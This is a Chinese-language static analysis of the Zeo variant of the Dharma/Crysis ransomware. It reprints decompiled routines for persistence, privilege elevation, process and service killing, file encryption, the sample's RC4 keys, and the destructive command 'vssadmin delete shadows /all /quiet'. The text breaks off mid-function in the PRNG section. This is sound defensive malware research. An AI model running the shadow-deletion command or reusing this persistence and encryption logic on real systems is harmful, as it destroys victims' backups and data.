【AI】Zeo 勒索病毒(Dharma/Crysis 勒索家族)分析报告
# Zeo 勒索病毒(Dharma/Crysis 勒索家族)分析报告
分析对象:
winhost(32 位 x86 PE)
家族归属:Dharma / Crysis 家族(Zeo 变种)
分析方式:IDA Pro 静态逆向 + 配置解密脚本辅助,未执行样本
结论速览:RSA-1024 + AES-256-CBC 混合加密,加密实现正确、密钥不可预测;常规手段无法解密,需依赖备份/卷影/文件恢复或未来密钥泄露。
1. 样本概述
| 项目 | 内容 |
|---|---|
| 文件名 | winhost |
| 架构 | metapc-32(x86 32 位) |
| 镜像基址 | 0x400000,大小 0x19000 |
| 节区 | .text(rx) / .idata(r) / .rdata(r) / .data(rw) |
| 静态导入 | 仅 9 个:GetProcAddress、LoadLibraryA、WaitForSingleObject、InitializeCriticalSectionAndSpinCount、LeaveCriticalSection、GetLastError、EnterCriticalSection、ReleaseMutex、CloseHandle |
| 动态解析 | 通过内嵌 1498 字节 API 表 + GetProcAddress 动态解析约 100 个 API(见 §3.2) |
| 混淆方式 | 全部字符串经两层 RC4 加密;API 动态解析;无壳 |
| 勒索信息 | Info.hta-(nudasurg@tuta.io / nudasurg@cyberfear.com,受害者 ID:) |
| 加密后缀 | 原文件名 + .id-<8位十六进制ID>.[nudasurg@tuta.io].zeo |
| 家族标记 | WDC3A3(文件头、互斥名) |
| 加密范围 | 本地磁盘 + 网络共享(含 \\<主机名>\ 与 WNet 枚举共享) |
该样本属 Dharma/Crysis 勒索家族,公开情报(PCRisk、malware-guide 等)显示该家族通过 RDP 爆破/钓鱼邮件传播,加密后文件命名为 xxx.jpg.id-9ECFA84E.[nudasurg@tuta.io].zeo 形式,与本样本行为完全吻合。
2. 配置解密(字符串还原)
2.1 双层 RC4 解密流程(入口 start @ 0x40A9D0)
反编译佐证(start 开头部分,IDA Hex-Rays):
void __noreturn start()
{
rc4_crypt_4019D0((int)cfg_blob_40E080, (int)cfg_blob_40E080, 41276, (int)rc4key_40E000, 128); // 0x40AA0A 第一层解密整块
rc4_crypt_4019D0((int)&cfg_blob_40E080[1214], (int)&cfg_blob_40E080[1214], 1498, (int)cfg_blob_40E080, 128); // 0x40AA2B 第二层
init_api_406E10(&cfg_blob_40E080[1214]); // 0x40AA38 解析 API 表
memset_406DD0((int)&cfg_blob_40E080[1214], 0, 1498); // 0x40AA4C 擦除配置表
...
}
说明:第二层以第一层输出前 128 字节(key2)为密钥,解密偏移 1214 处 1498 字节的 API 函数名配置表;随后立即清零,防止内存取证。
rc4key_40E000 = 49D31524BE65C1551BE4CA5919930EF594B92C6C700272F08796D8AF93756FDA
6240D8EF1CBED1A9A1C5794993341C5900D45C09043FFF7C39DD617F51C83E9A
479A3570015E8BB05C898993DAD0EA201C3D0996DEA987A2288073D7C2BE6E34
676781366263C92080889D637B322CD5F57D180D80A1015B267BAEACEE6713D7
key2 (二次密钥) = 4FFFC580AA882DBA5B59B556B324D06A09ADA8A303F00F46073C034C1736166DB
F75F6C918DB44CDD25727A9A8725814B300EAE73FF36D49F45B092F459049CBD
2117B56B8D745BBD30DC9E0F76D99A106175CB0A72BE1222D31B970B3B9C7971
8C5938171C04B7C8C39609B3C405824C75A1986D432145D21CE7E7087B2D7F1
2.2 data_40E080 结构布局(第一层解密后)
| 偏移 | 长度 | 内容 |
|---|---|---|
| 0x000 | 0x80 | key2:二次 RC4 密钥 |
| 0x080 | 4 | RSA 模数长度 = 0x80 |
| 0x084 | 0x80 | RSA 公钥模数 N(1024 位) |
| 0x284 | 4 | RSA 指数长度 = 4 |
| 0x288 | 4 | RSA 公钥指数 e = 0x00010001 |
| 0x488 | — | ABCDEFGHIJKLMNOPQRSTUVWXYZ(盘符表) |
| 0x4BE | 1498 | API 函数名配置表(dll;函数名…) |
| 0x40C0 | 6 | WDC3A3(家族标记) |
| 0x40C6 | — | .[nudasurg@tuta.io](加密文件附加后缀) |
| 0x4146 | — | .zeo(加密扩展名) |
| 0x4282 | — | %systemdrive% |
| 0x42B2 | — | %windir%\System32 |
| 0x42D6 | — | %appdata% |
| 0x42FE | — | %sh(Startup)% |
| 0x431A | — | %sh(Common Startup)% |
| 0x43C4 | — | %sh(Desktop)%;%sh(Common Desktop)%; |
| 0x4444 | — | info.txt |
| 0x44C4 | — | Info.hta |
| 0x49DE | — | mshta.exe |
| 0x49F2 / 0x49FE | — | runas 动词 / open 动词 |
| 0x4CFA | — | mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit |
| 0x4544 / 0x45C4 | — | nudasurg@tuta.io / nudasurg@cyberfear.com(ANSI) |
| 0x6D3C | — | doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)(目标扩展名) |
| 0x9D3C | — | all your data has been locked us\r\nYou want to return?\r\nwrite email nudasurg@tuta.io or nudasurg@cyberfear.com |
| 0x0A98 | 0x3628 | Info.hta 勒索信 HTML 模板 |
| 0x5D3C | — | 跳过的扩展名黑名单(约 300 个,含 .exe/.dll/.ini/.bat 等) |
| 0x4D3C | — | 备用扩展名黑名单 |
| 0x8D3C | — | boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;(系统关键文件跳过) |
| 0x913C | — | %windir%;(系统目录跳过) |
| 0x953C | — | 1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;(待杀进程) |
| 0x993C | — | FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;(待停服务) |
2.3 API 动态解析表(1498 字节,init_api_406E10 解析)
覆盖模块:kernel32.dll(65 个)、advapi32.dll(13 个)、user32.dll(1 个)、Shell32.dll(1 个)、ntdll.dll(1 个)、mpr.dll(3 个)、ws2_32.dll(11 个)。
关键函数:CreateFileW / ReadFile / WriteFile / SetFilePointerEx / FindFirstFileW / MoveFileW / DeleteFileW / CreateProcessW / CreatePipe / CreateToolhelp32Snapshot / TerminateProcess / RegOpenKeyExW / WNetOpenEnumW / socket 系列等(详见 py/apiinfo.json)。
3. 主流程分析
3.1 入口 start @ 0x40A9D0 执行顺序
start 完整反编译(佐证,IDA Hex-Rays;函数名已按语义重命名):
void __noreturn start()
{
rc4_crypt_4019D0((int)cfg_blob_40E080, (int)cfg_blob_40E080, 41276, (int)rc4key_40E000, 128);
rc4_crypt_4019D0((int)&cfg_blob_40E080[1214], (int)&cfg_blob_40E080[1214], 1498, (int)cfg_blob_40E080, 128);
init_api_406E10(&cfg_blob_40E080[1214]);
memset_406DD0((int)&cfg_blob_40E080[1214], 0, 1498);
prng_seed_init_4054B0();
TickCount_4067D0 = GetTickCount_4067D0((int)hHandle, refcount_obj_406FA0);
lcg_seed_406E60(TickCount_4067D0);
refcount_obj_406FA0 = (int)create_refcount_obj_406FA0();
if ( check_single_instance_4082D0(&hHandle, &p_hHandle, (DWORD *)v9) )
{
v4 = (int)HeapAlloc_406B50(0x14u);
prng_gen_405690(20, (char *)v4);
ext = (LPCWSTR)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[27964], (int)cfg_blob_40E080, 128, 2u);
v7 = parse_extensions_401E80((char *)ext); // 目标扩展名: doc/arc/dbf/1c8/jpg
...
WSAStartup_406B40(514, (int)v8);
kill_procs_and_services_40A610(); // 停服务+杀进程
persist_copy_4078D0(); // 持久化
delete_shadow_copies_40A7F0(); // 删卷影
if ( v9[0] )
start_wait_thread_40A790((int)p_hHandle, v9[0], refcount_obj_406FA0);
else
start_wait_thread_40A790((int)hHandle, 0, refcount_obj_406FA0);
nop_stub_407BD0();
start_drive_thread_409AA0((int)v7, refcount_obj_406FA0); // 驱动器监视线程
encrypt_all_drives_409780((int)v7, refcount_obj_406FA0); // 遍历磁盘加密
nop_stub_407BD0();
delete_shadow_copies_40A7F0();
if ( v9[0] || mutex_try_wait_4082A0(hHandle) )
spread_and_notes_409EE0(); // 网络共享+勒索信息
while ( !refcount_get_406EE0((char *)refcount_obj_406FA0) )
Sleep_406800(0x64u);
HeapFree_406B70((void *)v4);
}
ExitProcess_406750(0);
}
执行顺序归纳:
- 双层 RC4 解密配置(§2.1)
- init_api_406E10 解析 API 表
- prng_seed_init_4054B0 初始化 PRNG(见 §5.3)
- lcg_seed_406E60(GetTickCount()) 种子 MSVC rand()
- create_refcount_obj_406FA0 创建引用计数对象(线程完成标志)
- check_single_instance_4082D0: 创建/打开互斥
Global\syncronize_WDC3A3.A(管理员)/ Global\syncronize_WDC3A3.U(普通用户)
返回 v9[0]=是否提权,v9[1]=是否已有实例在运行 - prng_gen_405690(20, v4) 生成 20 字节随机数
- 解密扩展名表 → parse_extensions_401E80 解析目标扩展名分组
- WSAStartup
- kill_procs_and_services_40A610 停止服务 + 杀进程
- persist_copy_4078D0 持久化(见 §4.1)
- delete_shadow_copies_40A7F0 删除卷影副本
- start_wait_thread_40A790(hHandle, v9[0], v3) 启动"等待线程"(见 §4.5)
- start_drive_thread_409AA0(v7, v3) 启动驱动器监视线程(§4.4)
- encrypt_all_drives_409780(v7, v3) 遍历所有逻辑盘加密
- 再次 delete_shadow_copies_40A7F0 / 杀进程
- 若提权或管理员互斥被占用 → spread_and_notes_409EE0(网络共享+勒索信息投放)
- 等待所有线程完成(refcount),ExitProcess(0)
### 3.2 主要子流程
| 功能 | 函数 | 说明 |
|---|---|---|
| 单实例检查 | `check_single_instance_4082D0` | 两个互斥 `syncronize_WDC3A3.A/.U`;检测是否已有实例 |
| UAC 提权 | `self_elevate_4083A0` | ShellExecuteExW "runas" 重启自身(参数 `-a`),可重试 |
| 持久化 | `persist_copy_4078D0` | 复制自身到 `%windir%\System32\`、`%appdata%\` 并写 Run 键;复制到用户/公共启动文件夹 |
| 写 Run 键 | `set_registry_run_407810` | HKCU→HKLM `Software\Microsoft\Windows\CurrentVersion\Run` |
| 删卷影 | `delete_shadow_copies_40A7F0` | CreatePipe + CreateProcessW 执行 cmd:`vssadmin delete shadows /all /quiet` |
| 杀进程 | `kill_processes_407FE0` | 遍历进程,终止 sqlservr.exe/mysqld.exe/outlook.exe/1c8.exe 等 |
| 停服务 | `stop_services_407F00` | 枚举并停止 mssqlserver/Firebird 等服务 |
| 驱动器遍历 | `encrypt_all_drives_409780` / `drive_share_watcher_4098E0` | GetLogicalDrives + `\\<主机名>\` 共享,每盘创建 worker |
| 目录遍历 | `walk_directory_4026C0` | FindFirstFileW/FindNextFileW 递归;回调 `dir_entry_filter_409080` 过滤 |
| 文件队列 | `queue_push_4024F0` / `queue_pop_4021F0` | 待加密文件 FIFO 队列(4 线程消费) |
| 过滤规则 | `build_skip_lists_4089D0` | 跳过扩展名黑名单 / 系统文件 / `%windir%` / `.zeo` 已加密文件 |
| 勒索信息 | `build_ransom_note_409B80` | 用卷序列号生成 Info.hta 内容 |
| 弹出勒索 | `show_ransom_note_409DA0` | ShellExecuteExW 执行 `mshta.exe <路径>\Info.hta` |
| 网络投放 | `spread_and_notes_409EE0` | 枚举网络共享写勒索信;向 System32/AppData/桌面/共享投放 Info.hta+info.txt 并弹出 |
---
## 4. 恶意行为细节
### 4.1 持久化(`persist_copy_4078D0` @ 0x4078D0)
反编译佐证(节选):
```c
// %windir%\System32
lpString = (WCHAR *)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17074], (int)cfg_blob_40E080, 128, 2u);
// %appdata%
v13 = (WCHAR *)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17110], (int)cfg_blob_40E080, 128, 2u);
// %sh(Startup)% / %sh(Common Startup)%
v8 = rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17150], ...);
v11= rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17178], ...);
if ( kernel32__GetModuleFileNameW_4186D0_ww((int)lpFile) )
{
v9 = wstr_rfind_406C70(lpFile, '\\');
v10 = (int)(v9 + 1); // 取样本文件名
if ( scat_401240(v7, 0x7FFF, 3, lpString, "\\", v10) > 0
&& expand_shell_path_407350(v7, 0x7FFF) > 0
&& copy_file_407710(lpFile, v7) ) // 复制到 System32
v5 = set_registry_run_407810(v10, v7); // 写 Run 键
if ( !v5 && scat_401240(v7, 0x7FFF, 3, v13, "\\", v10) > 0 && ... )
v5 = set_registry_run_407810(v10, v7); // 复制到 AppData + Run
if ( scat_401240(v7, 0x7FFF, 3, v8, "\\", v10) > 0 && expand_shell_path_407350(v7, 0x7FFF) )
v5 |= copy_file_407710(lpFile, v7) > 0; // 用户启动文件夹
if ( scat_401240(v7, 0x7FFF, 3, v11, "\\", v10) > 0 && expand_shell_path_407350(v7, 0x7FFF) )
v5 |= copy_file_407710(lpFile, v7) > 0; // 公共启动文件夹
}
set_registry_run_407810 中 Run 键路径反编译佐证:
// Software\Microsoft\Windows\CurrentVersion\Run
v6 = (WCHAR *)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17220], ...);
v2 = reg_set_value_407100(-2147483646, v6, a1); // HKEY_CURRENT_USER
if ( v2 <= 0 )
v5 = reg_set_value_407100(-2147483647, v6, a1) > 0; // HKEY_LOCAL_MACHINE
%windir%\System32\<样本名>(复制 + Run 键,成功则跳过后续)%appdata%\<样本名>(复制 + Run 键)%sh(Startup)%\<样本名>(用户启动文件夹,仅复制)%sh(Common Startup)%\<样本名>(公共启动文件夹,仅复制)
其中 %sh(name)% 通过 expand_shell_path_407350 / expand_sh_folder_407410 查询注册表
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 展开。
4.2 提权(self_elevate_4083A0 @ 0x4083A0)
非管理员(Win7+,isElevation_408090 检测 TokenElevation)时,
以 runas 动词重启自身并带 -a 参数,最多重试若干次。
反编译佐证(节选):
// runas
runas = (LPCWSTR)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[18930], (int)cfg_blob_40E080, 128, 2u);
pExecInfo.lpVerb = runas; // "runas"
pExecInfo.lpFile = (LPCWSTR)lpFile; // 自身完整路径(GetModuleFileNameW)
pExecInfo.lpParameters = aA; // "-a"
pExecInfo.nShow = 1;
do
v1 = a1--; // 重试次数
while ( v1 > 0 && !ShellExecuteExW_406B00(&pExecInfo) );
4.3 文件加密调度链
反编译佐证(drive_worker_create_4093B0 节选):
lpParameter = HeapAlloc_406B50(0x10014u);
if ( wstr_copy_bounded_401000((_WORD *)lpParameter + 4, 0x7FFF, a1) > 0
&& (lpParameter[16386] = build_skip_lists_4089D0(a3)) != 0
&& (s = (WCHAR *)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[27964], ...), // 扩展名表
v7 = parse_extensions_401E80(s), ...,
(v9 = gen_encrypt_config_408580(a2, (int)v7)) != 0) )
{
v6 = HeapAlloc_406B50(0x2Cu);
queue_init_402380(v6);
lpParameter[1] = v9; // 加密配置(含 AES 密钥/RSA 密文)
*lpParameter = v6; // 文件队列
lpParameter[16387] = a3; // 是否递归
lpParameter[16388] = a4; // 引用计数对象
return CreateThread_4068B0(0, 0, drive_encrypt_worker_4091F0, lpParameter, 0, 0);
}
encrypt_all_drives_409780
└─ drive_worker_create_4093B0(每盘)
├─ build_skip_lists_4089D0(过滤规则)
├─ gen_encrypt_config_408580(生成 208B 加密配置,见 §5)
└─ CreateThread(drive_encrypt_worker_4091F0)
├─ 4× CreateThread(file_encrypt_thread_408D90) ← 消费文件队列
│ └─ 逐文件: 生成16B IV → encrypt_file_dispatch_4033B0 → 加密
└─ CreateThread(dir_walk_thread_4091A0) ← 遍历目录入队
4.4 驱动器监视(drive_share_watcher_4098E0 @ 0x4098E0)
- 遍历
\\<计算机名>\网络共享(wnet_walk_shares_4094E0用 WNetOpenEnumW/WNetEnumResourceW 递归) - 轮询 GetLogicalDrives,发现新接入的磁盘即触发加密
- 直到主流程引用计数归零
反编译佐证(新盘检测):
do
{
LogicalDrives_4186FC_w = kernel32__GetLogicalDrives_4186FC_w(...);
if ( LogicalDrives_4186FC_w_1 != LogicalDrives_4186FC_w ) // 磁盘集合发生变化
{
v11 = LogicalDrives_4186FC_w & ~LogicalDrives_4186FC_w_1 & 0xFFFFFFFC; // 新出现的盘
for ( i = 0; i < 32; ++i )
if ( (v11 & (1 << i)) != 0 )
{ v7[0] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"[i]; v7[1] = ':'; v7[2] = 0;
drive_worker_create_4093B0(v7, ...); drive_worker_create_4093B0(v7, ...); }
LogicalDrives_4186FC_w_1 = LogicalDrives_4186FC_w;
}
Sleep_406800(0x64u);
}
while ( !refcount_get_406EE0(*(char **)(v3 + 4)) ); // 直到加密完成标志
4.5 等待/接管线程(wait_thread_40A710 @ 0x40A710)
反编译佐证:
DWORD __stdcall wait_thread_40A710(LPVOID lpThreadParameter)
{
if ( *((_DWORD *)lpThreadParameter + 1) ) // 已有实例在运行
{
WaitForSingleObject(*(HANDLE *)lpThreadParameter, 0xFFFFFFFF); // 等其退出
}
else
{
self_elevate_4083A0(*(int *)&cfg_blob_40E080[19141]); // 提权重启
while ( mutex_try_wait_4082A0(*(HANDLE *)lpThreadParameter) ) // 等管理员互斥释放
Sleep_406800(0x1F4u);
refcount_set_406F20(*((char **)lpThreadParameter + 2)); // 完成标志
}
HeapFree_406B70(lpThreadParameter);
return 0;
}
- 若已有实例在运行:等待其互斥释放后结束
- 否则:非管理员时先
self_elevate_4083A0提权重启;循环检查互斥;完成时置引用计数
4.6 删除卷影副本(delete_shadow_copies_40A7F0 @ 0x40A7F0)
反编译佐证(管道 + cmd 执行 vssadmin):
BOOL delete_shadow_copies_40A7F0()
{
// mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit
v8 = (LPCSTR)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[19706], (int)cfg_blob_40E080, 128, 1u);
lpString = (LPCWSTR)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17054], ...); // cmd 路径
if ( wstr_copy_bounded_401080(v15, 0x7FFF, lpString) > 0 )
expand_shell_path_407350(v15, 0x7FFF);
if ( kernel32__CreatePipe_418780_w((int)&v6, (int)&v7) ) // 输出管道
{
if ( kernel32__CreatePipe_418780_w((int)&v17, (int)&v18) ) // 输入管道
{
v10[0] = 68; v10[11] = 257; v12 = v6; v13 = v18; v14 = v18;
if ( kernel32__CreateProcessW_418788_w((int)v15, 0, 0, 0, 1, 0, 0, 0, (int)v10, hObject) )
{
kernel32__lstrlenA_4186F0_w(v8, (int)v9);
kernel32__WriteFile_418760_w(v7, v8); // 向 cmd 写入删除卷影命令
}
}
}
...
}
4.7 杀进程/停服务(kill_procs_and_services_40A610 @ 0x40A610)
反编译佐证(进程枚举 + 终止,kill_processes_407FE0):
int __cdecl kill_processes_407FE0(_DWORD *a1) // a1 = "1c8.exe;1cv77.exe;...;sqlservr.exe;" 列表
{
hObject = CreateToolhelp32Snapshot_406A00(2u, 0); // TH32CS_SNAPPROCESS
pe.dwSize = 556;
if ( kernel32__Process32FirstW_4187B0_w(hObject, &pe) )
while ( Process32NextW_406A10(hObject, &pe) )
if ( wstr_cmp_401B30(a1, pe.szExeFile) > -1 ) // 命中黑名单进程名
v4 |= terminate_process_407F90(pe.th32ProcessID); // OpenProcess+TerminateProcess
return v4;
}
服务停止(stop_service_407E00)同样通过 OpenSCManagerW + OpenServiceW +
ControlService(hSCObject, 1 /*SERVICE_CONTROL_STOP*/, &ServiceStatus) 并轮询等待
dwCurrentState == SERVICE_STOPPED(SERVICE_STOP_PENDING 时最多等 0xBB8×100ms)。
5. 加密机制深度分析(核心)
5.1 加密配置生成 gen_encrypt_config_408580 @ 0x408580
每个磁盘分区生成一次 208 字节配置结构 v16。
反编译佐证(核心逻辑):
_DWORD *__cdecl gen_encrypt_config_408580(int a1, int a2)
{
n0x20 = *(_DWORD *)&cfg_blob_40E080[128]; // RSA 模数长度 = 0x80
anti_data_4186B0 = (char *)rc4_dec_alloc_401A10((int)&cfg_blob_40E080[132], n0x20,
(int)cfg_blob_40E080, 128); // 解出 RSA 模数 N
v17 = *(_DWORD *)&cfg_blob_40E080[644]; // 指数长度 = 4
v21 = (int)rc4_dec_alloc_401A10((int)&cfg_blob_40E080[648], v17, (int)cfg_blob_40E080, 128); // e=0x10001
v16 = (int)HeapAlloc_406B50(0xD0u); // 208B 配置结构
...
sha1_init_405DC0((int)v22);
sha1_update_405E20(v22, anti_data_4186B0, n0x20); // SHA1(RSA 模数 N)
sha1_final_405EB0(v16 + 164, (int)v22); // 20B SHA1 存入 v16+164
if ( !prng_gen_405690(32, v16) ) // 生成 32B AES 密钥 → v16[0:32]
{
memcpy_406D80(v19, (char *)v16, 0x20u); // v19 = 32B AES 密钥
memcpy_406D80(v20, (char *)(v16 + 32), 4u); // v20 = 4B 卷序列号
rsa_ctx_init_405B80(&v14, anti_data_4186B0, n0x20, v21, v17); // 载入 RSA 公钥(N, e)
if ( rsa_encrypt_pkcs1_405CF0(v14, v19, 36, v16 + 36) == 128 ) // RSA 加密 36B → v16+36
{
*(v16 + 192) = rc4_dec_alloc_401A10(&cfg_blob_40E080[16576], 6, ...); // "WDC3A3"
*(v16 + 188) = rc4_dec_wstr_401A50(&cfg_blob_40E080[16582], ...); // ".[nudasurg@tuta.io]"
*(v16 + 184) = rc4_dec_wstr_401A50(&cfg_blob_40E080[16710], ...); // ".zeo"
v6 = crc32_405840(0, (_BYTE *)v16, 32); // CRC32(key)
v7 = crc32_405840(v6, (_BYTE *)(v16 + 164), 20); // ...||SHA1
v8 = crc32_405840(v7, (_BYTE *)(v16 + 36), 128); // ...||RSA密文
*(v16 + 196) = crc32_405840(v8, *(_BYTE **)(v16 + 192), 6); // ...||WDC3A3
*(v16 + 200) = a1; *(v16 + 204) = a2;
}
}
...
}
| 偏移 | 长度 | 内容 | 来源 |
|---|---|---|---|
| +0x00 | 32 | AES-256 文件密钥 | prng_gen_405690(32, v16) 一次性生成 |
| +0x20 | 4 | 系统盘卷序列号(GetVolumeInformationW 后 bswap) | get_volume_serial_402630("%systemdrive%") |
| +0x24 | 128 | RSA 密文:RSA(PKCS#1 v1.5, 36B) | rsa_encrypt_pkcs1_405CF0 |
| +0xA4 | 20 | SHA1(RSA 模数 N) | sha1_*_405DC0/E20/EB0 |
| +0xB8 | 4 | .zeo(跳过判断用) |
配置解密 |
| +0xBC | — | .[nudasurg@tuta.io](加密后缀) |
配置解密 |
| +0xC0 | 6 | WDC3A3 |
配置解密 |
| +0xC4 | 4 | CRC32(key‖SHA1‖RSA密文‖WDC3A3) | crc32_405840 |
| +0xC8 | — | 扩展名表指针 / 过滤规则指针 | 调用参数 |
36 字节明文 = 32B AES 密钥 + 4B 卷序列号(即文件名的
id-XXXX部分)。
卷序列号可从加密文件名中直接读出,但无法据此还原 AES 密钥。
5.2 文件加密 encrypt_file_dispatch_4033B0 @ 0x4033B0
按文件大小分两条路径。分发逻辑反编译佐证:
int __cdecl encrypt_file_dispatch_4033B0(_WORD *a1, LPVOID a2, _DWORD *a3, char *a4, ...)
{
hObject = (HANDLE)kernel32__CreateFileW_41871C_w((int)a1, 0x80000000); // 打开原文件
if ( hObject != (HANDLE)-1 )
{
if ( kernel32__GetFileSizeEx_4186CC_w(hObject, &p_n0x180000) )
{
CloseHandle_406890(hObject);
if ( p_n0x180000 )
{
if ( p_n0x180000 <= 0x180000 ) // <= 1.5MB → 小文件路径
return encrypt_file_small_402880(a1, a2, a3, a4, a5, n0x100000, a7, a8, a9, a10, a11);
else // > 1.5MB → 大文件路径
return encrypt_file_big_403090(a1, a2, (int)a3, (int)a4, a5, n0x100000, ...);
}
}
}
return v12;
}
小文件(≤ 0x180000 = 1.5MB)encrypt_file_small_402880 @ 0x402880
反编译佐证(关键反汇编节选,0x402A73-0x402C56):
402a73 call ReadFile ; 读取 ≤1MB 到缓冲区 a5
402a80 cmp [var_C], 0 ; var_C = 实际读取字节数
402a84 jz loc_402B04 ; EOF(读 0 字节) → 写头部
402a8c mov ecx, [var_C]
402a8f cmp ecx, [n0x100000]
402a92 jnb short loc_402AAA ; 未读满则不计算填充
402a94 ... ; v30 = 16 - var_C % 16 (PKCS7 风格填充长度)
402ac0 call aes_cbc_encrypt_403960 ; AES-256-CBC 加密该块
402ad8 call WriteFile ; 写入密文
402aff jmp loc_402C62 ; 回到 ReadFile 继续
402b04 [构建头部并追加写入文件末尾] ; EOF 后:
402b1d mov dword ptr [a5+4], 2 ; 魔数 2
402b2a mov dword ptr [a5+8], 417AFE0Ch ; 魔数 0x417AFE0C
402b3d mov dword ptr [a5+18h], 20h ; [24] = 32 (文件名存在时)
402b50 call memcpy_406D80 ; 复制原文件名(UTF-16LE, 含结尾\0)
402b8f call memcpy_406D80 ; "WDC3A3"(6B)
402bad call memcpy_406D80 ; SHA1(N)(20B)
402bc0 lea ecx, [ebp+var_8] ; v30 = 末块填充长度(16-末块长%16)
402c08 call memcpy_406D80 ; IV(16B) / v30(4B) / RSA密文(128B) / size(4B)
402c2f call WriteFile ; 写入头部
402c51 call SetEndOfFile_406930 ; 截断
402cdb call DeleteFileW_4067E0 ; 删除原文件
1. 打开原文件(只读),创建目标文件(GENERIC_WRITE)
2. aes_4034C0(v22, v16, IV, 1) 构建 AES-256 密钥扩展(14 轮)
3. 循环: ReadFile(≤1MB) → aes_cbc_encrypt_403960 加密 → WriteFile
4. EOF 后在文件末尾追加头部(见下)
5. SetEndOfFile + DeleteFileW(原文件)
加密文件布局(小文件):[AES-256-CBC 密文(各块填充至16)] [32B块][原文件名UTF-16(含结尾\0\0)] [WDC3A3] [SHA1(N)20B] [IV 16B] [v30=末块填充长度 4B] [RSA密文128B] [size=32+文件名长(含\0) 4B]
其中 32B 块 = 00 00 00 00 | 02 00 00 00 | 0C FE 7A 41 | 00×12 | 20 00 00 00 | 00 00 00 00(魔数 2、0x417AFE0C)。
注意:
- 加密文件名实参为
2*v1+2(含结尾 NULL),故尾部元数据中的文件名字段带\0\0。- IV 之后的 4B 字段为末块填充长度 v30(
16 - 末块长度%16,见反汇编 0x402BC0 写入var_8),
可用于精确还原原文件大小:原大小 = 密文总长 - v30。
大文件(> 1.5MB)encrypt_file_big_403090 @ 0x403090
反编译佐证(encrypt_big_stream_402EB0 节选,读取 3 段并加密):
v11 = a2 + 32; v10 = (char *)(a2 + 56); // 密文体起点
if ( a3 < 0xC0038 || !kernel32__SetFilePointerEx_418764_w((int)a1, v5) || v8 < 0 )
return 0;
div64_401940(&v12, v7, v8, 3); // 取文件大小
if ( v12 <= 0x40000 ) return 0;
for ( i = 0; i < 2 && read_chunk_402DF0(a1, &v5, &v10[0x40000 * i], &v11, v12, ...); ++i ); // 读偏移0、0x40000
v6 = -1; v5 = -262144;
if ( i == 2 && SetFilePointerEx(a1, v5) && read_chunk_402DF0(a1, &v7, &v10[0x40000*i], ...) ) ++i; // 读文件尾
if ( i != 3 ) return 0;
memset_406DD0(a2, 0, 32);
*(_DWORD *)(a2 + 4) = 1; // 魔数 1
*(_DWORD *)(a2 + 8) = 2024408061; // 0x78B54C3D
*(_DWORD *)(a2 + 12) = 3; // 段数
*(_DWORD *)(a2 + 16) = 0x40000; // 段长
*(_DWORD *)(a2 + 24) = 786488; // 总长
*(_DWORD *)(a2 + 20) = crc32_405840(0, v10, 786432);
aes_cbc_encrypt_403960(a4, v10, v10, 786432); // 加密 3×256KB
return 786488;
1. MoveFileW(原文件 → 目标名)(先重命名)
2. 打开目标文件(写),读取 3 段各 256KB:文件头 0x00000、偏移 0x40000、文件尾 -0x40000
3. aes_cbc_encrypt_403960 加密这 786432 字节
4. 文件头写 [32B块(魔数1, 段数3, 段长0x40000, CRC32, 总长786488)] [24B间隔] [786432B密文]
5. 尾部追加 [原文件名(含\0)][WDC3A3][SHA1][IV][0][RSA][size=786488+文件名长]
6. SetEndOfFile 截断;用 0 覆盖原数据段位置
大文件仅加密 3×256KB(首 512KB + 尾 256KB),中间内容不加密但会被截断。
5.3 随机数发生器(PRNG)
种子初始化 prng_seed_init_4054B0 @ 0x4054B0
反编译佐证(节选):
void prng_seed_init_4054B0()
{
prng_state_4186B0 = (char *)HeapAlloc_406B50(0x20u); // 32B 状态(堆残留垃圾)
*(_DWORD *)a1 ^= rdtsc_4053B0(&i_1); // a1[0:4] ^= rdtsc 低32
v3 ^= i_1; // a1[4:8] ^= rdtsc 高32
QueryPerformanceCounter_4068D0(); // QPC
*(_DWORD *)&a1[n8] ^= v5; n8+=4; // a1[8:12] ^= QPC 低32
*(_DWORD *)&a1[n8] ^= v4; n8+=4; // a1[12:16] ^= QPC 高32
*(_DWORD *)&a1[n8] ^= GetTickCount_4067D0(); // a1[16:20] ^= TickCount
*(_DWORD *)&a1[n8] ^= GetCurrentProcessId_4068E0(); // a1[20:24] ^= PID
prng_mix_4053F0(a1, 32); // SHA1 搅拌
i_1 = (unsigned int)rdtsc_4053B0(0) >> 16;
for ( i = 0; i < i_1; ++i ) // 变次数 rdtsc 循环再搅拌
{ *(_DWORD *)&a1[n8] ^= rdtsc_4053B0(&i_1); ... prng_mix_4053F0(0, 0); }
lcg_seed_406E60(GetTickCount_4067D0()); // 种子 MSVC rand()
}
输出 prng_gen_405690 @ 0x405690
反编译佐证(完整):
int __cdecl prng_gen_405690(int n0x14, char *input_data)
{
*(_DWORD *)prng_state_4186B0 ^= rdtsc_4053B0(&v7); // state[0:4] ^= rdtsc低
*((_DWORD *)prng_state_4186B0 + 1) ^= v7; // state[4:8] ^= rdtsc高
*(_DWORD *)prng_state_4186B0 ^= rdtsc_4053B0(0); // state[0:4] ^= rdtsc低(第二次)
sha1_init_405DC0((int)v3);
sha1_update_405E20(v3, prng_state_4186B0, 32);
sha1_final_405EB0((int)key, (int)v3); // key = SHA1(state)
RC4_KeyScheduling_4058A0(rc4_state, (int)key, 20);
if ( n0x14 >= 32 ) memcpy_406D80(input_data, prng_state_4186B0, 0x20u);
